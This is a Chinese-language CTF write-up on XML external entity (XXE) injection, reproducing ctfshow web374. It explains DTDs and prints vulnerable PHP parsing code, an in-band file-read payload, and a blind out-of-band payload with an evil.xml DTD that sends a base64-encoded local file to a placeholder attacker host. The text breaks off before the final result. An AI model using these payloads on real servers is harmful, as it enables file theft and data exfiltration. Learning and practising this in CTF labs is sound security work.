xxe
0x00 基础
题目来源于ctfshow web374,是翔哥问的题,复现一下。
这道题考的是xml外部实体注入。XML 指可扩展标记语言(EXtensible Markup Language),XML 是一种标记语言,很类似 HTML,被设计为传输和存储数据,其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息, 允许创作者定义自己的标签和自己的文档结构。其优点就是可以跨越互联网任何的平台,不受编程语言和操作系统的限制,非常适合Web传输,而且xml有助于在服务器之间穿梭结构化数据,方便开发人员控制数据的存储和传输。
DTD概念
文档类型定义(DTD)可以被声明在XML的文档中,也可以作为一个外部的引用。举例说明:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE Students SYSTEM "Students.dtd"> <Students> <Student num="z001"> <name>小明</name> <sex>男</sex> <age>20</age> <subject><![CDATA[数学&英语]]></subject> <sport>篮球</sport> </Student> </Students>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <![ IGNORE [定义Student子元素必须在 Studens父元素内,且出现至少一次。]]> <!ELEMENT Students (Student+)> <![ IGNORE [ 设置Student元素中必须有name,age,subject,sport元素并且他们的出现顺序也必须是这样的]]> <!ELEMENT Student (name,sex,age,subject,sport)> <![ IGNORE [ 设置num属性为必需且唯一的但是属性的值不能是以数字开头]]> <!ATTLIST Student num ID #REQUIRED> <![ IGNORE [ !ELEMENT name 定义 name 元素为 "#PCDATA" 类型]]> <!ELEMENT name (#PCDATA)> <!ELEMENT sex (#PCDATA)> <!ELEMENT age (#PCDATA)> <!ELEMENT subject (#PCDATA)> <!ELEMENT sport (#PCDATA)>
|
内部实体引用举例:
1 2 3 4 5 6 7 8 9 10 11 12
| <!DOCTYPE catalog [ <!ENTITY company_name "ABC Corporation"> <!ENTITY phone_number "(555) 123-4567"> ]> <catalog> <product> <name>Product A</name> <description> &company_name; &phone_number;. </description> </product> </catalog>
|
XXE漏洞
如果开发人员在开发时允许引用外部实体DTD时,恶意用户便会利用这一漏洞构造恶意语句。从而引发文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等。如下图所示:
XXE也分为有回显和无回显。
有回显示例如下:
1 2 3 4
| <?php $xml=simplexml_load_string($_GET['xml']); print_r((string)$xml); ?>
|
1 2 3
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]> <root>&file;</root>
|
无回显举例如下:
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE test[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt"> <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/evil.xml"> %dtd; %send; ]>
|
evil.xml:
1
| <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/?content=%file;'>"> %payload;
|
具体过程就是:先 %dtd 请求远程服务器(攻击机)上的 evil.xml,然后 %payload 调用了 %file ,%file 获取对方服务器上的敏感文件,最后调用%send,数据被发送到我们远程的服务器,就实现了数据的外带。
0x01 web374复现
访问后php代码如下:
1 2 3 4 5 6 7 8 9
| <?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
|
按照博客:https://blog.csdn.net/weixin_49656607/article/details/119926513
最后得到: